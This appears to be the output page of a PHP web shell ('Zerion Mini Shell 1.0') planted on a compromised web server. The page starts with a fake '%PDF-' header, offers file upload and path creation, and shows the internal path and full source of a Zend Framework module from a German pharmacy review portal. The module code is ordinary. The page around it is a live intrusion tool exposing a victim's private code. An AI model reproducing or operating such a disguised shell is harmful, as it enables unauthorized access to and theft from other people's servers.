%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/bbw/farmaci/kritik-portale/module/ReviewPharmacy/
Upload File :
Create Path :
Current File : /var/www/html/bbw/farmaci/kritik-portale/module/ReviewPharmacy/Module.php

<?php
namespace ReviewPharmacy;

/**
 * ReviewPharmacy
 *
 * @author Florian Koller ( conlabz GmbH ) <florian.koller at conlabz.de>
 */

use ConDatatable\ModuleManager\Feature\DatatableProviderInterface;
use Locale;
use ReviewBase\View\Helper\ToastrHelper;
use Zend\Console\Adapter\AdapterInterface;
use Zend\EventManager\EventInterface as Event;
use Zend\ModuleManager\Feature\AutoloaderProviderInterface;
use Zend\ModuleManager\Feature\ConfigProviderInterface;
use Zend\ModuleManager\ModuleEvent;
use Zend\ModuleManager\ModuleManager;
use Zend\Mvc\I18n\Translator;
use Zend\Mvc\ModuleRouteListener;
use Zend\Mvc\MvcEvent;
use Zend\Validator\AbstractValidator;

 class Module implements AutoloaderProviderInterface, ConfigProviderInterface, DatatableProviderInterface
 {
     public function onBootstrap(MvcEvent $e)
    {
        $eventManager = $e->getApplication()->getEventManager();
        $moduleRouteListener = new ModuleRouteListener();
        $moduleRouteListener->attach($eventManager);

        /**
         * setting default locale for application
         */
        Locale::setDefault('de_DE');

        $sm = $e->getApplication()->getServiceManager();
        $config = $sm->get('config');
        $env = getenv('APPLICATION_ENV');
        if ($config["persistentToastrMessage"])
        {
            $controllerPluginManager = $sm->get('ControllerPluginManager');
            $flashMessenger = $controllerPluginManager->get('flashmessenger');
            $flashMessenger->setNamespace(ToastrHelper::NAMESPACE_PERSISTENT);
            $flashMessenger->addMessage("Testsystem!");
        }
        
        if (file_exists("./vendor/zendframework/zendframework/resources/languages/de/Zend_Validate.php")) {
            $validatorTranslation ="./vendor/zendframework/zendframework/resources/languages/de/Zend_Validate.php";
            $translate = new Translator($sm->get('validTranslator'));
            $translate->addTranslationFile('phpArray', $validatorTranslation);
            AbstractValidator::setDefaultTranslator($translate);
        }
    }

     public function onLoadModulesPost(ModuleEvent $e)
     {
         $configListener = $e->getConfigListener();
         $serviceManager = $e->getParam('ServiceManager');
         $translator     = $serviceManager->get('translator');
         $config         = $configListener->getMergedConfig(false);

         //apply translation to configuration
         if (isset($config['navigation']['backend'][3]['label'])) {
             $config['navigation']['backend'][2]['label'] = $translator->translate("Pharmacies");
             $config['navigation']['backend'][3]['label'] = $translator->translate("Recommendations");
             $config['navigation']['backend'][4]['label'] = $translator->translate("Contracts");
         }
         // Pass the changed configuration back to the listener
         $configListener->setMergedConfig($config);
         $serviceManager->setAllowOverride(true);
         $serviceManager->setService('Config', $config);
         $serviceManager->setAllowOverride(false);
     }
     
     public function getAutoloaderConfig()
     {
         return array(
             'Zend\Loader\ClassMapAutoloader' => array(
                 __DIR__ . '/autoload_classmap.php', //generate a classmap for project before getting live and in production
             ),
             'Zend\Loader\StandardAutoloader' => array(
                 'namespaces' => array(
                     __NAMESPACE__ => __DIR__ . '/src/' . __NAMESPACE__,
                 ),
             ),
         );
     }

     public function getConfig()
     {
         return include __DIR__ . '/config/module.config.php';
     }
     
    public function getServiceConfig()
    {
        return array(
            'factories' => array(
            ),            
        );
    }
    
    public function getDatatableConfig()
    {
        return include __DIR__ . '/config/datatable.config.php';
    }

    /**
     * @param \Zend\Console\Adapter\AdapterInterface $console
     * @return array
     *
     * @SuppressWarnings(PHPMD.UnusedFormalParameter)
     */
    public function getConsoleUsage(AdapterInterface $console)
    {
        return array(
            'Console',
            'reviewpharmacy console ' => 'Console'
        );
    }

    public function init(ModuleManager $moduleManager)
    {
         $events = $moduleManager->getEventManager();

         // Registering a listener at default priority, 1, which will trigger
         // after the ConfigListener merges config.
         $events->attach(ModuleEvent::EVENT_MERGE_CONFIG, array($this, 'onMergeConfig'));

        /**
         * register listener EVENT_LOAD_MODULES_POST, this occurs after EVENT_MERGE_CONFIG but before EVENT_BOOTSTRAP
         * to enable us to edit configuration keys with localized information
         **/
        $eventManager = $moduleManager->getEventManager();
        $eventManager->attach(ModuleEvent::EVENT_LOAD_MODULES_POST, [$this, 'onLoadModulesPost']);
    }

    public function onMergeConfig(ModuleEvent $e)
    {
        $configListener = $e->getConfigListener();
        $config         = $configListener->getMergedConfig(false);

        if (isset($config['router']['routes']['default'])) {
            unset($config['router']['routes']['default']);
        }

        if (isset($config['router']['routes']['slug'])) {
            unset($config['router']['routes']['slug']);
        }

        // Pass the changed configuration back to the listener:
        $configListener->setMergedConfig($config);
    }
 }
 

Zerion Mini Shell 1.0